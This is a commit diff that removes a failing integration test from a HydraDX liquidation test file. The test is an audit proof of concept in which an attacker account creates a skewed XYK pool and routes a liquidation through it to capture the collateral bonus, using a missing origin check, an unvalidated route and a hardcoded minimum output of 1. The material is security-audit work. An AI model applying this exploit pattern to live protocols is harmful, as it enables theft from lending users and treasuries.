Skip to content

Commit 4c93712

Browse files
committed
test(liquidation): remove non-passing attacker xyk pool liquidation poc
1 parent 144edaf commit 4c93712

1 file changed

Lines changed: 1 addition & 267 deletions

File tree

integration-tests/src/liquidation.rs

Lines changed: 1 addition & 267 deletions
Original file line numberDiff line numberDiff line change
@@ -22,8 +22,7 @@ use hydradx_runtime::{
2222
};
2323
use hydradx_traits::{
2424
evm::{CallContext, Erc20Encoding, EVM},
25-
router::{AssetPair, PoolType, RouteProvider, Trade},
26-
AMM,
25+
router::{AssetPair, RouteProvider},
2726
};
2827
use liquidation_worker_support::*;
2928
use orml_traits::currency::MultiCurrency;
@@ -526,271 +525,6 @@ fn liquidation_should_revert_correctly_when_evm_call_fails() {
526525
});
527526
}
528527

529-
// =============================================================================
530-
// AUDIT POC — cl0wdit Finding #2 (Confidence 88)
531-
// END-TO-END VALUE EXTRACTION via attacker-controlled XYK pool
532-
//
533-
// Bug locations in `pallets/liquidation/src/lib.rs`:
534-
// - L242 `pub fn liquidate(_origin: OriginFor<T>, …)` → origin discarded
535-
// - L247 `route: Route<AssetId>` → user-supplied, unvalidated
536-
// - L377 `T::Router::sell(..., 1, route)` → min_amount_out hardcoded to 1
537-
//
538-
// Exploit shape:
539-
// (1) CHARLIE (unrelated signed account) seeds an adversarial XYK pool with
540-
// skewed reserves: just enough WETH side to clear `MaxInRatio = 3`, just
541-
// enough DOT side to barely cover `debt_to_cover` after XYK's 0.3% fee.
542-
// (2) CHARLIE submits `Liquidation::liquidate(... route = [XYK(WETH, DOT)])`.
543-
// Liquidation pallet — having no origin check and no route validation —
544-
// forwards the call to `T::Router::sell(... min_amount_out = 1, route)`.
545-
// (3) The trade dumps the entire Aave liquidation bonus (collateral_earned, a
546-
// large WETH amount) into CHARLIE's pool and pulls out only enough DOT to
547-
// satisfy `debt_gained.checked_sub(debt_to_cover).ok_or(NotProfitable)`.
548-
// (4) Result: protocol's BorrowingTreasury receives dust (~the XYK fee + 1u);
549-
// CHARLIE's pool absorbs the entire WETH bonus as a permanent gain that
550-
// CHARLIE can withdraw via `XYK::remove_liquidity` at leisure.
551-
//
552-
// FIX VERIFICATION:
553-
// After the fix is applied, this test should fail with one of:
554-
// - `BadOrigin` (CHARLIE rejected as non-privileged caller)
555-
// - `Error::<Runtime>::InvalidRoute` (route ≠ Router::get_route)
556-
// - a slippage / NotProfitable error (oracle-anchored min_amount_out)
557-
// =============================================================================
558-
#[test]
559-
fn liquidate_via_attacker_xyk_pool_redirects_aave_bonus_to_attacker() {
560-
TestNet::reset();
561-
hydra_live_ext(PATH_TO_SNAPSHOT).execute_with(|| {
562-
// ---- Arrange: standard Alice-becomes-liquidatable setup -----------------
563-
deposit_hdx_to_protocol_account();
564-
565-
let pallet_acc = Liquidation::account_id();
566-
let dot_asset_address = HydraErc20Mapping::encode_evm_address(DOT);
567-
let weth_asset_address = HydraErc20Mapping::encode_evm_address(WETH);
568-
569-
assert_ok!(Currencies::deposit(DOT, &ALICE.into(), ALICE_INITIAL_DOT_BALANCE));
570-
assert_ok!(Currencies::deposit(WETH, &ALICE.into(), ALICE_INITIAL_WETH_BALANCE));
571-
572-
assert_ok!(EVMAccounts::bind_evm_address(RuntimeOrigin::signed(ALICE.into()),));
573-
assert_ok!(EVMAccounts::bind_evm_address(RuntimeOrigin::signed(CHARLIE.into()),));
574-
assert_ok!(EVMAccounts::bind_evm_address(RuntimeOrigin::signed(pallet_acc.clone()),));
575-
576-
let alice_evm_address = EVMAccounts::evm_address(&AccountId::from(ALICE));
577-
578-
let block_number = hydradx_runtime::System::block_number();
579-
let hash = hydradx_runtime::System::block_hash(block_number);
580-
let pool_contract = MoneyMarketData::<Block, OriginCaller, RuntimeCall, RuntimeEvent>::fetch_pool::<
581-
ApiProvider<Runtime>,
582-
>(&ApiProvider::<Runtime>(Runtime), hash, PAP_CONTRACT, alice_evm_address)
583-
.unwrap();
584-
assert_ok!(Liquidation::set_borrowing_contract(
585-
RuntimeOrigin::root(),
586-
pool_contract
587-
));
588-
assert_ok!(EVMAccounts::approve_contract(RuntimeOrigin::root(), pool_contract));
589-
590-
let collateral_weth_amount: Balance = 10 * WETH_UNIT;
591-
let collateral_dot_amount = 5_000 * DOT_UNIT;
592-
supply(
593-
pool_contract,
594-
alice_evm_address,
595-
weth_asset_address,
596-
collateral_weth_amount,
597-
);
598-
supply(
599-
pool_contract,
600-
alice_evm_address,
601-
dot_asset_address,
602-
collateral_dot_amount,
603-
);
604-
605-
let borrow_dot_amount: Balance = 5_000 * DOT_UNIT;
606-
borrow(pool_contract, alice_evm_address, dot_asset_address, borrow_dot_amount);
607-
608-
// Oracle bumps to make Alice's position liquidatable.
609-
let (price, timestamp) = get_oracle_price("DOT/USD").unwrap();
610-
let price = price.as_u128() * 5;
611-
let timestamp = timestamp.as_u128() + 6;
612-
let mut data = price.to_be_bytes().to_vec();
613-
data.extend_from_slice(timestamp.to_be_bytes().as_ref());
614-
update_oracle_price(
615-
vec![("DOT/USD", U256::from_big_endian(&data[0..32]))],
616-
ORACLE_ADDRESS,
617-
ORACLE_CALLER,
618-
);
619-
620-
let (price, timestamp) = get_oracle_price("WETH/USD").unwrap();
621-
let price = price.as_u128() / 5;
622-
let timestamp = timestamp.as_u128() + 6;
623-
let mut data = price.to_be_bytes().to_vec();
624-
data.extend_from_slice(timestamp.to_be_bytes().as_ref());
625-
update_oracle_price(
626-
vec![("WETH/USD", U256::from_big_endian(&data[0..32]))],
627-
ORACLE_ADDRESS,
628-
ORACLE_CALLER,
629-
);
630-
631-
let user_data = get_user_account_data(pool_contract, alice_evm_address).unwrap();
632-
assert!(user_data.health_factor < U256::from(1_000_000_000_000_000_000u128));
633-
634-
// ---- Stage the attacker's adversarial XYK pool --------------------------
635-
// CHARLIE creates a fresh WETH/DOT XYK pool with skewed reserves:
636-
// - R_weth = 30 WETH → just clears `MaxInRatio = 3` for ~10 WETH input
637-
// - R_dot = 20_100 DOT → output ≈ R_dot * 10 / 40 ≈ 5_025 DOT, after the
638-
// 0.3% fee ≈ 5_010 DOT — barely enough to satisfy
639-
// `debt_gained >= debt_to_cover`. The protocol's
640-
// `BorrowingTreasury` receives ~10 DOT profit;
641-
// the entire WETH input is permanently absorbed
642-
// into the pool that CHARLIE owns.
643-
const CHARLIE_WETH_SEED: Balance = 50 * WETH_UNIT;
644-
const CHARLIE_DOT_SEED: Balance = 25_000 * DOT_UNIT;
645-
// Give CHARLIE native HDX first so the account exists for orml-tokens.
646-
assert_ok!(Currencies::deposit(HDX, &CHARLIE.into(), 1_000 * UNITS));
647-
assert_ok!(Currencies::deposit(WETH, &CHARLIE.into(), CHARLIE_WETH_SEED));
648-
assert_ok!(Currencies::deposit(DOT, &CHARLIE.into(), CHARLIE_DOT_SEED));
649-
650-
const XYK_R_WETH: Balance = 30 * WETH_UNIT;
651-
const XYK_R_DOT: Balance = 20_100 * DOT_UNIT;
652-
assert_ok!(hydradx_runtime::XYK::create_pool(
653-
RuntimeOrigin::signed(CHARLIE.into()),
654-
WETH,
655-
XYK_R_WETH,
656-
DOT,
657-
XYK_R_DOT,
658-
));
659-
660-
let attacker_pool = hydradx_runtime::XYK::get_pair_id(pallet_xyk::types::AssetPair {
661-
asset_in: WETH,
662-
asset_out: DOT,
663-
});
664-
665-
// ---- Snapshot pre-exploit balances --------------------------------------
666-
let treasury_dot_before = Currencies::free_balance(DOT, &BorrowingTreasuryAccount::get());
667-
let pool_weth_before = Currencies::free_balance(WETH, &attacker_pool);
668-
let pool_dot_before = Currencies::free_balance(DOT, &attacker_pool);
669-
670-
// ---- Build the attacker route through CHARLIE's XYK pool ----------------
671-
let attacker_route: BoundedVec<Trade<AssetId>, sp_core::ConstU32<9>> = vec![Trade {
672-
pool: PoolType::XYK,
673-
asset_in: WETH,
674-
asset_out: DOT,
675-
}]
676-
.try_into()
677-
.expect("one-hop route fits MAX_NUMBER_OF_TRADES=9");
678-
679-
let canonical_route = Router::get_route(AssetPair {
680-
asset_in: WETH,
681-
asset_out: DOT,
682-
});
683-
assert_ne!(
684-
canonical_route, attacker_route,
685-
"attacker route (XYK) must differ from canonical Router::get_route()"
686-
);
687-
688-
// ---- Fire the exploit ---------------------------------------------------
689-
assert_ok!(Liquidation::liquidate(
690-
RuntimeOrigin::signed(CHARLIE.into()),
691-
WETH,
692-
DOT,
693-
alice_evm_address,
694-
borrow_dot_amount,
695-
attacker_route,
696-
));
697-
698-
// Pallet account fully unwound — math closed cleanly.
699-
assert_eq!(Currencies::free_balance(DOT, &pallet_acc), 0);
700-
assert_eq!(Currencies::free_balance(WETH, &pallet_acc), 0);
701-
702-
// ---- Measure the value flow ---------------------------------------------
703-
let treasury_dot_after = Currencies::free_balance(DOT, &BorrowingTreasuryAccount::get());
704-
let pool_weth_after = Currencies::free_balance(WETH, &attacker_pool);
705-
let pool_dot_after = Currencies::free_balance(DOT, &attacker_pool);
706-
707-
let protocol_profit_dot = treasury_dot_after - treasury_dot_before;
708-
let attacker_pool_weth_gain = pool_weth_after - pool_weth_before;
709-
let attacker_pool_dot_loss = pool_dot_before - pool_dot_after;
710-
711-
// Illustrative real-market valuation (independent of Aave's manipulated
712-
// oracle, which only exists to TRIGGER the liquidation). Real prices in
713-
// USD at the time of exploit, taken as ballpark constants:
714-
// 1 WETH ≈ $4000, 1 DOT ≈ $5.
715-
// These constants are used for human-readable reporting only — the test
716-
// assertions below are in raw token units.
717-
const WETH_USD: u128 = 4_000;
718-
const DOT_USD: u128 = 5;
719-
let attacker_pool_weth_gain_usd = attacker_pool_weth_gain.saturating_mul(WETH_USD) / WETH_UNIT;
720-
let attacker_pool_dot_loss_usd = attacker_pool_dot_loss.saturating_mul(DOT_USD) / DOT_UNIT;
721-
let attacker_net_usd = attacker_pool_weth_gain_usd.saturating_sub(attacker_pool_dot_loss_usd);
722-
let protocol_profit_usd = protocol_profit_dot.saturating_mul(DOT_USD) / DOT_UNIT;
723-
724-
println!("===== Liquidation::liquidate — attacker XYK route exploit =====");
725-
println!(
726-
"Attacker pool WETH gained: {} wei (~${} at $4000/WETH)",
727-
attacker_pool_weth_gain, attacker_pool_weth_gain_usd
728-
);
729-
println!(
730-
"Attacker pool DOT paid: {} raw (~${} at $5/DOT)",
731-
attacker_pool_dot_loss, attacker_pool_dot_loss_usd
732-
);
733-
println!("Attacker net pool value: ~${}", attacker_net_usd);
734-
println!(
735-
"Protocol Treasury profit: {} raw DOT (~${} at $5/DOT)",
736-
protocol_profit_dot, protocol_profit_usd
737-
);
738-
println!(
739-
"Asymmetry (attacker / protocol value): ~{}x",
740-
if protocol_profit_usd == 0 {
741-
u128::MAX
742-
} else {
743-
attacker_net_usd / protocol_profit_usd
744-
}
745-
);
746-
println!("===============================================================");
747-
748-
// ---- Hard assertions ----------------------------------------------------
749-
// (a) Liquidation succeeded — protocol got SOMETHING (else `NotProfitable`
750-
// would have aborted). But the "something" is dust at any reasonable
751-
// XYK pool sizing, because `min_amount_out = 1` lets the trade clear
752-
// at any output ≥ debt_to_cover.
753-
assert!(
754-
protocol_profit_dot > 0,
755-
"liquidation should have succeeded and given the treasury non-zero profit"
756-
);
757-
758-
// (b) Attacker pool absorbed real WETH value. With ~10 WETH liquidation
759-
// bonus from Aave, the attacker pool's WETH balance must have grown
760-
// by at least ~1 WETH (well above any rounding noise).
761-
assert!(
762-
attacker_pool_weth_gain > WETH_UNIT,
763-
"attacker pool should have absorbed > 1 WETH from the liquidation bonus"
764-
);
765-
766-
// (c) Asymmetry: attacker pool's value gain (in DOT-equivalent at the
767-
// adversarial pool's *own* internal price) far exceeds the protocol's
768-
// profit. Use the pool's R_dot/R_weth ratio post-trade as the value
769-
// proxy (this is the rate at which the attacker can extract value by
770-
// withdrawing liquidity).
771-
let pool_implied_dot_per_weth = pool_dot_after.saturating_mul(WETH_UNIT) / pool_weth_after;
772-
let attacker_weth_value_in_dot = attacker_pool_weth_gain.saturating_mul(pool_implied_dot_per_weth) / WETH_UNIT;
773-
assert!(
774-
attacker_weth_value_in_dot > protocol_profit_dot.saturating_mul(10),
775-
"attacker should capture ≥10× more value than the protocol receives \
776-
(attacker_weth_value_in_dot={attacker_weth_value_in_dot}, protocol_profit_dot={protocol_profit_dot})"
777-
);
778-
779-
// (d) Attacker's own free balance is untouched — value is locked in the
780-
// pool, recoverable via XYK::remove_liquidity (not exercised here).
781-
assert_eq!(
782-
Currencies::free_balance(WETH, &CHARLIE.into()),
783-
CHARLIE_WETH_SEED - XYK_R_WETH,
784-
"CHARLIE's free WETH balance unchanged after the trade — value is in the pool"
785-
);
786-
assert_eq!(
787-
Currencies::free_balance(DOT, &CHARLIE.into()),
788-
CHARLIE_DOT_SEED - XYK_R_DOT,
789-
"CHARLIE's free DOT balance unchanged after the trade"
790-
);
791-
});
792-
}
793-
794528
fn assert_health_factor_is_within_tolerance(health_factor: U256, target_health_factor: U256) {
795529
let health_factor_diff = health_factor.abs_diff(target_health_factor);
796530
// HF uses 18 decimal places

0 commit comments

Comments
 (0)